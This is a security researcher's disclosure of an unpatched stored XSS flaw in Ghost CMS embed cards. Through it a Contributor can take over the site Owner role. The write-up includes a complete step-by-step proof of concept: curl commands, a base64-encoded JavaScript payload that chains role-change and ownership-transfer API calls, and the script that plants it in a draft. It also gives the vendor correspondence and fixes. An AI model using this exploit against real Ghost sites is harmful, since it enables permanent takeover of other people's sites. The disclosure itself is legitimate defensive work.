Vulnerability Overview
On a typical Ghost CMS site, staff members review drafts daily as part of their editorial workflow. This routine can be exploited: a low-privileged Contributor can submit a crafted embed card that executes Stored Cross-Site Scripting (XSS) when the site Owner opens it.
This vulnerability allows the Contributor to take full control of the Ghost instance. With a single click from the Owner, the attacker becomes the new Owner, gaining sole ownership, full administrative access, and billing modification abilities. The original Owner is permanently demoted to Administrator.
Ghost CMS declined to patch it, stating that all staff users are considered trusted regardless of role.
Danger (Unpatched — vendor declined to fix)
Ghost CMS classified this under their “Privilege Escalation Attacks” exclusion policy. The vulnerability remains present in all current versions including 6.19.2 (latest at time of writing).
What is Ghost CMS?
Ghost CMS is a modern, open-source content management system for professional publishing. Built on Node.js, it offers rich editors, SEO tools, email newsletters, and membership features. The Docker image has over 100 million downloads and is used by Apple, Mozilla, OpenAI, and many others.
Ghost CMS has five user role levels: Contributors, Authors, Editors, Administrators, and Owner. Each role has different permissions, and any staff user can create posts with embed cards, making any staff user a potential exploit vector.
- Contributors: Can write drafts, cannot publish
- Authors: Can create and publish their own posts
- Editors: Can manage all posts and invite authors/contributors
- Administrators: Full edit permissions for all data and settings
- Owner: Cannot be deleted; accesses billing details; only one per site
Stored XSS in Embed Card HTML
Ghost’s Lexical editor supports “embed cards” for embedding external content like YouTube videos, tweets, and other media. Each embed card stores raw HTML that gets rendered when a user views the post in the Ghost admin editor.
The embed card HTML field is not sanitized at any point. Whatever HTML is submitted through the API gets stored directly and rendered as-is. This means any staff user can inject JavaScript that will execute in the browser of anyone who opens the post in the admin panel.
The vulnerability exists in two components:
Client-side (admin panel): The @tryghost/koenig-lexical package renders embed HTML inside an unsandboxed iframe:
<iframe srcDoc={html} />Without a sandbox attribute, JavaScript in the HTML runs with full access to the admin session.
Server-side: In embed-renderer.js at line 61:
figure.innerHTML = node.html;User-controlled HTML is assigned directly to innerHTML with no sanitization.
Multiple XSS vectors were confirmed to execute in the admin panel:
<img src=x onerror="..."><svg onload="..."><details open ontoggle="..."><iframe src="javascript:...">- Base64-encoded
eval(atob(...))
Weaponizing XSS: Ghost CMS Instance Takeover
The attack targets the site Owner by having them view a malicious draft post. A Contributor creates a draft with a crafted embed card, and the XSS fires automatically when the Owner opens it in the editor to review it. This is a normal part of editorial workflows on multi-author Ghost sites.
A single XSS payload performs two actions in the Owner’s authenticated session:
- Promotes the attacker’s Contributor account to Administrator via
PUT /ghost/api/admin/users/{id}/ - Transfers site ownership to the attacker via
PUT /ghost/api/admin/users/owner
The result is a permanent, irrevocable takeover. The attacker becomes the new Owner (cannot be deleted or demoted), and the original Owner is demoted to Administrator. Recovery requires direct database access.
The required information for the payload (user IDs, role IDs) is available to any staff user, including Contributors, through the Ghost admin API:
GET /ghost/api/admin/users/?include=rolesGET /ghost/api/admin/roles/A two-stage version of the attack was also verified, where the first draft creates an Administrator invite for the attacker’s email, and a second draft transfers ownership. On production Ghost instances with email configured, the attacker simply receives a legitimate invite email from Ghost and accepts it normally.
Proof of Concept
The following walkthrough was performed on Ghost 6.19.2. The test environment has two accounts: an Owner (chris@alupify.com) and a Contributor (evil@test.com).

Step 1: Confirm Roles Before the Attack

Step 2: Authenticate as Contributor
curl -s -c cookies.txt -X POST "http://localhost:2368/ghost/api/admin/session/" \ -H "Content-Type: application/json" \ -d '{"username":"evil@test.com","password":"EvilPass123!"}'Step 3: Get Attacker’s User ID
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/users/me/?include=roles" | jq '.users[0] | {id, email, role: .roles[0].name}'
Step 4: Get Administrator Role ID
Note
Contributors can access the /roles/ endpoint. This is not a separate vulnerability, but it means the attacker can discover all role IDs using their own session.
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/roles/" | jq '.roles[] | select(.name=="Administrator") | {id, name}'
Note
The user IDs and role IDs in the following steps are specific to this test environment. You will need to replace them with the values obtained from Steps 3 and 4 for your own instance.
Step 5: Build the XSS Payload
The JavaScript payload chains two API calls using the victim’s session. The first promotes the Contributor to Administrator. The second transfers site ownership to the attacker. Both use credentials: 'include' to ride on the Owner’s session cookie.
// Step 1: Promote Contributor to Administratorfetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/', { method: 'PUT', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ users: [{ roles: [{id: '6988d0a3fbf3c2a0c634cd2f', name: 'Administrator'}] }] })}).then(() => // Step 2: Transfer ownership to attacker (now Administrator) fetch('/ghost/api/admin/users/owner', { method: 'PUT', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ owner: [{id: '83daecbecde740faa0cf46ba'}] }) }))API endpoints used:
PUT /ghost/api/admin/users/{id}/changes a user’s role. Requires the caller to be an Owner or Administrator.PUT /ghost/api/admin/users/ownertransfers site ownership. Can only be called by the current Owner. The target must already be an Administrator, which is why the payload promotes the attacker first.
Step 6: Base64 Encode the Payload
The payload is base64-encoded to avoid JSON escaping issues when embedding it in the Lexical document:
echo -n "fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({users:[{roles:[{id:'6988d0a3fbf3c2a0c634cd2f',name:'Administrator'}]}]})}).then(()=>fetch('/ghost/api/admin/users/owner',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({owner:[{id:'83daecbecde740faa0cf46ba'}]})}))" | base64 -w0ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ==The embed card HTML that delivers the payload:
<img src=x onerror="eval(atob('ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXN...'))">When the image fails to load, the onerror handler decodes and executes the JavaScript.
Step 7: Create the Malicious Draft Post
The payload is embedded in a Lexical embed card and submitted as a draft post:
CONTRIB_ID="83daecbecde740faa0cf46ba"PAYLOAD_B64="ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ=="
# Build the post JSON with the payload and contributor ID substituted incat > /tmp/payload.json << JSONEOF{ "posts": [{ "title": "Check this embed!", "lexical": "{\"root\":{\"children\":[{\"type\":\"embed\",\"version\":1,\"url\":\"https://example.com\",\"html\":\"<img src=x onerror=\\\\\"eval(atob('${PAYLOAD_B64}'))\\\\\">\",\"embedType\":\"embed\"}],\"direction\":null,\"format\":\"\",\"indent\":0,\"type\":\"root\",\"version\":1}}", "status": "draft", "authors": [{"id": "${CONTRIB_ID}"}] }]}JSONEOF
# Submit as Contributorcurl -s -b cookies.txt -X POST "http://localhost:2368/ghost/api/admin/posts/" \ -H "Content-Type: application/json" \ -d @/tmp/payload.json | jq '{id: .posts[0].id, title: .posts[0].title, author: .posts[0].primary_author.name}'{ "id": "699de9102754d18a13be3397", "title": "Check this embed!", "author": "Evil Contributor"}The post shows up as a normal draft in the Ghost Admin posts list.

Step 8: Owner Views the Draft
The site Owner (chris@alupify.com) opens the draft in the editor to review it. This is standard editorial workflow on any multi-author Ghost site. The Network tab shows the two PUT requests firing silently in the background.

The moment the editor loads, the embed card renders, the image fails to load, and the onerror handler fires. The two API calls execute using the Owner’s authenticated session. No clicks, no popups, no visible indication that anything happened.
Step 9: Verify the Takeover
After the Owner views the post, the roles have changed:
evil@test.com | Ownerchris@alupify.com | Administrator
Danger (Irrevocable takeover)
The takeover is permanent. The original Owner cannot recover their role through the admin panel. The attacker now has sole ownership of the Ghost instance and cannot be deleted or demoted by anyone. In fact, the attacker can now delete the original Owner’s account entirely. Recovery requires direct database access.

Precedent: CVE-2024-23724
This is not the first stored XSS to Owner takeover in Ghost CMS. In 2024, Rhino Security Labs discovered a nearly identical vulnerability (CVE-2024-23724) where a low-privilege user could escalate to Owner through stored XSS in SVG profile pictures. Ghost gave the same response at the time: staff users are trusted. MITRE assigned CVE-2024-23724 anyway, and Ghost eventually merged a fix in Pull Request #20264.
Warning (Pattern repeating)
Same product, same vulnerability class, same minimum privilege, same vendor response, same impact. The only difference is the injection vector: SVG profile pictures vs. embed card HTML.
Rhino Security Labs’ proof-of-concept: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724
Vendor Response
When I reported this vulnerability, Ghost CMS classified it under the “Privilege Escalation Attacks” exclusion in their security policy. The following is the email exchange that followed.
Hi Chris,
Thanks again. After reviewing your report it seems that the exploit is covered by our discussion under “Privilege Escalation Attacks” in our security policy. Is that a correct assessment?
Thanks in advance
Hi Ghost Security Team,
Thank you for your response. I respectfully disagree that this vulnerability falls under your excluded “Privilege Escalation Attacks” policy. Let me explain why I believe this warrants reconsideration:
1. Precedent: CVE-2024-23724
In January 2024, Rhino Security Labs reported a nearly identical vulnerability — Stored XSS leading to Owner takeover via malicious SVG profile pictures. Ghost’s initial response was the same: “All staff users are expected to be trusted.”
Despite this, MITRE assigned CVE-2024-23724, and Ghost ultimately accepted and merged the fix (PR #20264).
My finding follows the same pattern:
- Stored XSS leading to Owner takeover
- Exploitable by low-privileged Contributor role
- Permanent, irrevocable damage
If CVE-2024-23724 warranted a fix despite the “trusted users” policy, this vulnerability should as well.
2. This is Admin Panel XSS, not front-end XSS
Your security policy specifically addresses front-end XSS, stating: “Ghost’s admin application does a lot to ensure that unknown scripts are not run within the admin application itself”
My finding demonstrates that scripts are running within the admin application — specifically when an Owner/Admin reviews a Contributor’s draft post. The XSS executes in /ghost/#/editor/, not on the public-facing site.
3. The HTML embed feature is for front-end display, not Admin Panel execution
I understand that Ghost provides HTML embed functionality for content creation — this is a legitimate feature for rendering content on the public-facing blog. The vulnerability is not that HTML embeds exist, but that:
- Embedded HTML is rendered unsanitized in the Admin Panel when reviewing drafts
- The Admin Panel should be a protected context, separate from front-end rendering
Your own policy acknowledges this distinction: “Ghost’s admin application does a lot to ensure that unknown scripts are not run within the admin application itself”
The expectation is that when an Owner reviews a Contributor’s draft in /ghost/#/editor/, malicious scripts should not execute in that privileged context — regardless of what’s permitted on the public front-end.
4. Ghost’s role hierarchy implies differential trust
Ghost explicitly implements a permission hierarchy: Contributor → Author → Editor → Administrator → Owner. This architecture exists precisely because not all staff members should be equally trusted.
- A Contributor cannot delete posts, change settings, or manage users
- Yet through this vulnerability, a Contributor can become Owner — the highest privilege level
If all users were equally trusted as your policy suggests, the role system would be unnecessary.
5. The impact exceeds normal “trusted user” risk
Even accepting that staff members have some elevated trust, Owner takeover represents permanent, irrevocable damage:
- The Owner role cannot be deleted via UI or API
- The Owner cannot be demoted
- The original owner loses control permanently
- On Ghost Pro, this grants billing/subscription access
- Recovery requires direct database access or Ghost support intervention
This is categorically different from typical XSS risks that can be remediated by removing a malicious user.
6. Your own documentation distinguishes this case
Your policy states: “We take any attack vector where an untrusted user is able to inject malicious content very seriously.”
A Contributor is, by Ghost’s own role definition, a less-trusted user with restricted permissions. The fact that they were invited doesn’t mean they should be trusted with Owner-level access.
7. The fix is minimal
DOMPurify is already a Ghost dependency. The vulnerable code in @tryghost/kg-default-nodes/lib/nodes/embed/embed-renderer.js simply needs to sanitize node.html before the innerHTML assignment when rendering in the Admin Panel context. This is a targeted, low-risk fix that would not affect legitimate front-end rendering.
Given that CVE-2024-23724 was assigned and patched for essentially the same class of vulnerability with the same impact (Owner takeover), I believe this finding warrants the same treatment.
I’m happy to discuss further or provide additional demonstration. If you still consider it out of scope, I would appreciate clarification on how this differs from CVE-2024-23724, which Ghost ultimately patched.
Best regards,
Chris Alupului
Hello Chris,
Sorry for the delay. We continued to look into your report.
The use case for embeds is very different to the previous SVG rendering fix you reference. Scripts are not expected in SVG, which is why it made sense to put basic sanitisation in place for them. If scripts were needed for that feature to function — as they are for many of the embeds we support — we would’ve been OK leaving the possible exploit in place, as all Staff users are considered trusted not to be malicious regardless of assigned role.
Kind regards
Researcher Position
In short, Ghost said the SVG fix only happened because scripts were not needed for that feature. For embed cards, where scripts are sometimes required, they chose not to sanitize the HTML. Reading between the lines, this feels less like a technical disagreement and more like engineers following an organizational policy (“all staff are trusted”) regardless of whether the facts of a specific vulnerability warrant an exception.
Important (Domain separation does not mitigate this)
Ghost’s security policy suggests separating front-end and admin domains as a mitigation for concerned site owners. This does not help in this case because the XSS fires inside the Ghost admin panel itself when an Owner opens the editor to review a draft post.
Remediation
Tip (Existing dependency could fix this)
Ghost CMS already has DOMPurify installed as a dependency. Sanitizing embed card HTML before rendering would block malicious payloads while preserving legitimate embed functionality. Adding a sandbox attribute to the iframe in EmbedCard.jsx would also prevent script execution in the admin panel context.
Until a fix is applied, Ghost site owners should limit staff access to trusted individuals and be aware that reviewing any draft post with an embed card could trigger XSS in their session.
Conclusion
This vulnerability allows the lowest-privilege staff user on a Ghost site to permanently take over the Owner account by submitting a single draft post. The attack fits naturally into editorial workflows where Owners and Administrators routinely review Contributor drafts. Ghost declined to patch it, and the vulnerability remains present in all current versions.